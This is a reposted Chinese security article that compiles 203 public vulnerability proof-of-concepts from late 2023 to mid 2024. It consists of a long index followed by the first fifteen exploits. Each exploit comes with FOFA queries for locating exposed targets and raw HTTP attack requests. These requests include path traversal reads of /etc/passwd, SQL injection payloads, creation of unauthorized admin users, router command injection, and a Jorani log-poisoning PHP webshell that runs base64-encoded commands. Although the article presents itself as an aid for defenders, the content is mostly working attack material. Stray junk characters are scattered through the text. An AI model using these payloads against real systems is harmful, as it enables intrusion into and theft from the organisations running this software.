互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
% T' O# ?. n0 d; o: c& Z$ X0 n
! |+ l  R- W8 _' e- ?" Q发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
( A  g7 N1 r9 V  q8 @
/ @7 X, k6 B. \  y5 ~& o3 _漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
, x$ q" b( P/ d1 R
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
) `" T+ W. r) L1 s/ J
& m* H! Z4 q& K" z$ R  z文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
  o8 X3 ?, ^( x, Y1 E
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
% _% p+ I8 R/ A5 a3 j

2 c9 B4 [$ N0 M8 y0 R5 U声明

0 w! b  G$ @% U- [' J$ w! J0 J为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。


3 U1 C0 `/ s9 C$ S1 x
" ~6 _/ o$ e7 T8 n目录

01
6 l  n, j4 c1 o3 c/ L! [  ^+ P
9 i, o- k' w9 q7 g2 |  `1. StarRocks MPP数据库未授权访问
5 a) w1 c# z7 T' u' d2. Casdoor系统static任意文件读取
( ^: d& Y2 Q% s1 @- i& z7 u$ F3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
+ B. k9 s. ^* Q' Y1 H! _5. NUUO NVR 视频存储管理设备远程命令执行
; Z0 R! a7 z5 j- ]$ @5 N0 }6. 深信服 NGAF 任意文件读取
% T. \$ I% L8 p4 R# ?9 o7 S! w7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
! f1 D8 g9 S- q3 S( H- T, b, F12. Jorani < 1.0.2 远程命令执行
/ x1 w- [" K% f' C) s; l13. 红帆iOffice ioFileDown任意文件读取
, R( ]. p, N3 H1 G$ T9 O2 K14. 华夏ERP（jshERP）敏感信息泄露
0 o1 Q+ R! D, O" H2 ^* T) h, s15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
" q) F0 g' A5 \4 @19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
' h# h/ T& i% b$ E/ O' b20. 大华ICC智能物联综合管理平台任意文件读取
1 I$ ~. M8 e. E0 e( m0 d6 T21. 大华ICC智能物联综合管理平台random远程代码执行
& ]. f; g; X! h9 z22. 大华ICC智能物联综合管理平台 log4j远程代码执行
/ ?0 `' A( R* `; ?. i! C7 c& n23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
  Z  Y: j7 }" W24. 用友NC 6.5 accept.jsp任意文件上传
; X2 g* s6 v8 t; C) k- k, n25. 用友NC registerServlet JNDI 远程代码执行
% z' E2 N% q4 Q8 j9 k( T26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
' B1 d  X3 A7 M( _, |+ v29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
" j; [3 V+ y% Z31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
4 h8 P3 S8 x, W( J33. 用友NC downTax/download SQL注入
5 {# u+ {8 d% ?- z; g34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
& \/ O' i' G" ]5 }; N2 V37. 用友NC-Cloud IUpdateService XXE
1 @' Q3 G! G& O8 [38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
0 c7 }- i9 F# A' y# s* d6 p" I) j43. 用友GRP-U8 userInfoWeb SQL注入致RCE
$ n1 T2 G2 G/ p44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
- y; v4 ^3 ~8 f3 Z* ]9 A) F( V- x46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
9 N  U7 Q7 W7 G/ r48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
0 i2 `! Y6 c6 \# v7 {7 T' _56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
1 {0 A) q" [; b" y# O57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
3 d7 p4 j* n* I( t4 z% F! s60. 百卓Smart管理平台 importexport.php SQL注入
- I. v* H* |3 M3 g61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
  i4 n9 @/ o+ [& V& r6 K62. IP-guard WebServer 远程命令执行
) E8 K: K1 [7 V# m& L63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
( q8 J( T0 z1 e! R# {0 {! F68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
4 f' i2 E4 N4 h/ R. |- c70. 万户ezEIP success 命令执行
3 N0 t% y% F+ p9 }+ _1 ]( `71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
! I: n* Z( l' T" R% J: g5 Q72. 致远OA getAjaxDataServlet XXE
3 P2 w. e9 q3 t. w$ ?+ H- ~& R: i1 O" d73. GeoServer wms远程代码执行
( G/ ]3 ^3 j- y  W74. 致远M3-server 6_1sp1 反序列化RCE
6 F0 Y9 q, o" m8 n( F' {75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
. K' l6 G* o- U$ j4 C76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
8 u1 c( b, C4 p/ M( k( N# C78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
# _4 J1 o6 x! n( q+ t0 V1 e79. BYTEVALUE 百为流控路由器远程命令执行
  D) i+ w8 V, T: ^80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
8 `3 n) k( r% X% t1 ^% t9 z84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
7 F3 d; o0 `$ n87. 安恒明御安全网关aaa_local_web_preview文件上传
1 p% ^2 a* h) o! E0 g88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
: M- Y4 t* A9 R2 l89. 致远互联FE协作办公平台editflow_manager存在sql注入
$ J9 T: Y) C5 k3 Y5 f90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
" r' N1 S, X8 ~% ~' n* \92. 海康威视运行管理中心session命令执行
9 E0 G3 e$ a8 e1 V93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
( x! h" |" {! Q8 E97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
2 q9 m3 k, y) S& F99. Ncast盈可视高清智能录播系统busiFacade RCE
' X% w7 b0 D$ ^/ W1 n100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
2 l# w. Z, t; u101. ivanti policy secure-22.6命令注入
. K& c3 s; B  m% z' r102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
$ z2 s  K/ E0 ~2 ]104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
3 O7 `7 H+ p6 `! b1 B/ q107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
0 J, x1 O0 K" ?0 {  k8 J* D+ Z111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
8 L8 [5 V; c& ^3 K. g! Y114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
  s% |3 Z' L* d5 z/ \0 _8 R( r1 |117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
9 t8 P, y5 ^' f( S. U7 f: f( A# Z- f; K121. 北京百绰智能S42管理平台userattestation.php任意文件上传
" `5 q7 Z/ z7 C$ A2 M, a4 n  t2 u122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
' p; h+ {! B" v  [5 P0 C$ `7 M124. 湖南建研工程质量检测系统任意文件上传
% D1 X* \6 Y" }) u; K125. ConnectWise ScreenConnect身份验证绕过
( g- z6 m" r- c: J126. Aiohttp 路径遍历
6 F5 F" ]: {3 l; K- w: b127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
8 Q- r$ h% ]6 k131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
: Y, F& J: V* R% `! F133. H5 云商城 file.php 文件上传
6 F3 y* o1 w4 k* r' A+ b! {134. 网康NS-ASG应用安全网关index.php sql注入
# X) `5 d5 d9 W" h1 S" F' \135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
! ?4 P3 n- Q' U2 f140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
0 T. U1 p& R, M. K  N141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
1 D+ X' R5 y, B7 w144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
( F2 n2 ^8 i! f; U$ g148. CrushFTP 认证绕过模板注入
: |  ]+ u0 g+ T# Z* W$ n/ {149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
2 t2 X% l, F' r1 o2 a152. Progress Kemp LoadMaster 远程命令执行
; X8 b7 R. ]% G' e  o: j153. gradio任意文件读取
3 v) o! x& g2 h" h6 [154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
" h: x" x* X8 q156. TBK DVR-4104/DVR-4216 操作系统命令注入
; M$ I  n# X5 |, I% `( z, a157. 美特CRM upload.jsp 任意文件上传
6 C( B: V9 Y) L( r: z: Y158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
) v6 Q( b' C' c% S0 M* z161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
0 E8 o0 W! E! d! I- p9 S9 V" W163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
' O' a. m0 Y! O) _165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
1 e; i& S. ?) j; y7 c0 s* }168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
/ Q/ y/ g. d& n" G9 g0 ~173. Check Point 安全网关任意文件读取
  G; ^8 I" X* W174. 金和OA C6 FileDownLoad.aspx 任意文件读取
+ [7 E! Z: x! ~1 r175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
6 P$ A% }; {0 K# e+ g: a180. 帮管客 CRM jiliyu SQL注入
& C2 C. r& V8 y+ C4 W181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
0 d/ H( s$ ]( e& m182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
* k) m: q  f% k6 Z6 n186. F-logic DataCube3 SQL注入
( G- E! a, V  R5 J! c187. Mura CMS processAsyncObject SQL注入
9 r* Y2 ]* M2 v& t2 p188. 叁体-佳会视频会议 attachment 任意文件读取
6 l$ g1 \% I& \# c4 x189. 蓝网科技临床浏览系统 deleteStudy SQL注入
0 r) {8 ?9 h- w+ X190. 短视频矩阵营销系统 poihuoqu 任意文件读取
2 l3 C* a5 P, K" M0 x6 ?& R' u1 k: |191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
" |. g- I% J0 _8 a. f" r. x192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
5 d9 U4 k& D$ [* C' f# [* E/ |( b. e193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
! N  P1 X* f6 N( w0 `  u196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
! a, X" |( `4 }! C9 _198.  阿里云盘 WebDAV 命令注入
8 N7 S3 l; J: |6 f) }/ a6 ~199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
  v& _/ c# k2 L2 o. w8 r9 _201. 方正全媒体新闻采编系统 binary SQL注入
: t$ G& ?0 b. S202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
- F* }& B3 D. J+ l* [# l: H- {
5 B: L' x+ O# s( f+ V2 O% w8 E: `POC列表
# _. t0 P  x" ]7 ]$ ~
) l7 k- t1 P# O+ U. e# w02

# m( d2 x/ Z" J# P- `' f( p1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
  p% P, r3 L: P4 A4 k) GHost: URL
, |2 F* h( y0 R! b( a1 v) b4 \

. W* {5 T! k- D8 q6 b8 b& o# J) S2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
2 i  k( _, r3 K) f: A1 JGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
/ M* D+ w. E5 D, P* WUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
/ Y+ E4 [3 u: K" D. ^5 rAccept: */*
, z3 D7 T; \! @Accept-Language: en
5 c0 i$ _$ W/ O; p; pAccept-Encoding: gzip

+ H9 w$ H& h  H0 ]8 r, J
3. EasyCVR智能边缘网关 userlist 信息泄漏
: h- h4 \% K) D9 i6 h2 `% GFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx

5 ]- h. F: j3 F9 m2 w2 W
, o# g' c  {; x- |0 _1 r2 b4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

# u* ]! i( c9 Q7 A6 b% b0 xpassword更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
6 C9 @) m3 r# N; p& _, CHost: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
  h! j2 R4 h1 [, O/ F# y
1 @9 p$ d4 D& G9 Y7 Z4 Q
5. NUUO NVR 视频存储管理设备远程命令执行
, b( z1 H. n" ?  RFOFA：title="Network Video Recorder Login"
0 ?! h. Q% e7 P8 |GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
1 i4 w% g$ z3 e  wHost: xx.xx.xx.xx
/ V) s! _2 m; P; M

/ `& S- s6 c3 }7 P0 I6. 深信服 NGAF 任意文件读取
5 B4 y2 E  f" ?8 D7 ]% D# x" KFOFA：title="SANGFOR | NGAF"
, W* Y  g! C6 YGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
! S( z. ~9 k6 d0 b( gHost:
. M9 e- `' j* e* x  @

9 u8 g  Y* Y) S4 f: d" c7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
7 {; \( ]: u3 ?/ C3 d7 b2 T2 _  Y& rGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:

7 J: r" y3 p5 P3 Z7 {
4 q) U& o) `( E: U5 q! s8. 斐讯 Phicomm 路由器RCE
' M# W' m7 U; p  B9 ]& V2 H4 E& L" pFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
! u0 l/ L4 |6 cPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
" h* \7 w# z  LHost: x.x.x.x
6 ?1 L: K2 r# C7 SCookie: sysauth=第一步登录获取的cookie
* Q8 b1 b9 D  S, }Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

( [  o, G/ o2 x5 R9 \2 O------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"

%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

12:00; id;
9 q, z* ?9 [6 Z2 o------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
- W! Z6 O8 \2 Y& V" T7 m( P
%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
/ }0 C# J: \; T( f8 I- ~& g/ e

------WebKitFormBoundaryxbgjoytz--


6 b2 i; O4 E5 t9. 稻壳CMS keyword 未授权SQL注入
4 ]+ u% e& T% b& l, sFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
6 x) t7 Q/ g- V
- E( ]: c$ `5 T! G( v2 t
5 }- \& G; |; H. y3 Vpayload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

3 S" X: @5 |0 o2 f10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

, l* n6 e/ j4 k. M' w; r文件上传后响应中包含上传文件的路径
3 z) g  _8 G+ e* mPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
9 }$ V0 Z, M0 |3 |0 ZHost: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
7 ?( y* [% e0 K, u3 l: S9 @5 [Content-Length: 197
5 @# i8 _% N! D9 c5 ^9 }' QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
1 j; z; ?# S, P1 h# D+ eAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
  w$ h- K+ _* y2 c+ x: I4 ]
1 k0 S3 j+ r3 p' [& e" X------WebKitFormBoundaryxdgaqmqu
; p( R0 d) u' k+ N4 lContent-Disposition: form-data; name="file"filename="icfitnya.txt"
  u9 ^& [& m6 N4 F* R% n2 CContent-Type: text/html
; v% N: s- u" x& I/ I' v
jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
4 l6 T* E) r+ J. l) Q1 }
' }) ^: s/ V4 s& L- o: R. m" t
' o( `2 f! P. i: p11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
2 h' k2 L; E2 h  Z$ c( l9 L4 TGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
. H9 {, V, o( v; o; N( KHost: 127.0.0.1
8 i# |6 ?) r+ w+ |, R$ w$ QPragma: no-cache
Cache-Control: no-cache
9 R( L% N3 R5 i  HUpgrade-Insecure-Requests: 1
% m3 J/ m, M9 M, QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
! k% f2 C9 o5 k5 rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 F: O; G% P3 r% dAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
. J; J% f. c7 {9 p5 I& L4 hConnection: close
) ~1 c  J) L3 ], f* R! C
, }1 P7 j5 ]0 [& {/ M: X
6 o; F/ [: n+ f' ^8 j( T12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
% u; i4 F0 ?5 K# @* n; w+ Q2 \; \- {Connection: close
+ _5 X9 o$ X" sAccept-Encoding: gzip


响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
& Y: ~1 K7 y' x7 T' }8 K: VCache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
/ k$ X' l" }1 ~2 sDate: Tue, 24 Oct 2023 09:34:28 GMT
3 c2 `. A0 Q$ V' m4 RExpires: Thu, 19 Nov 1981 08:52:00 GMT
3 ~# S4 P8 |% s# c) I; ~Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
& N' r' H5 F- f$ tServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
# E6 K' p  p1 O$ p' B
% B* j5 ?, N# E& L4 d3 F
POST请求，执行函数并进行base64编码
( i/ E5 Q# @+ u3 i  h; N+ s8 MPOST /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
# Z( B6 `; Y# C! Z. wContent-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
+ v) ?  `+ {$ Y% H( i/ ?. n
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
3 q% ?, |+ j! W: D; U8 E9 y9 _
; C* Y, A/ q4 W# a0 M# G0 z' s1 H
  ]- _; S2 z! `9 c
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
, p9 {: Z; \  L# lConnection: close
& A' _0 \, D- s4 e2 b( N: DCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
! i7 H1 n8 Q" O2 w) }. ]K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
. y3 @8 R" q& n  u/ R1 d7 wX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip

9 n* @$ c* I0 \3 o8 b* l- V& T- ^
9 `' ]- F! u/ @) {4 A# ~) g13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
) j, c6 x0 m; |  F/ x/ ]9 aGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
8 v& f! T( G! w: L+ T, m: B" `% LConnection: close
4 y* c5 Y; X  W/ p" P9 fAccept: */*
( F$ @6 c: I4 ]7 H% I1 _) E' PAccept-Encoding: gzip

2 P4 V- @! ?7 W
14. 华夏ERP（jshERP）敏感信息泄露
& k- W1 N8 r1 {* m+ yFOFA：body="jshERP-boot"
泄露内容包括用户名密码
* F* i' y" ]6 ^9 G) B0 b/ c$ AGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
3 R# Y' B! E' R5 O. {7 z& n* zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
& ~/ N( R( c- G9 `, Z0 kAccept: */*
: @; F- t: N; yAccept-Language: en
0 k! z/ H( r1 u6 G1 x& fAccept-Encoding: gzip

1 ]0 V% Y" R4 P8 r
' e0 i; u: D: b. y) ^15. 华夏ERP getAllList信息泄露
) X* s0 R: k* {CVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
0 E& K3 s7 d& m  g, pGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
+ m/ d0 \# e  _; Y% L4 zHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
: S+ Q5 `' D7 k$ A3 |$ qConnection: close
+ X2 o; c' W6 H. F* ]% S$ kAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
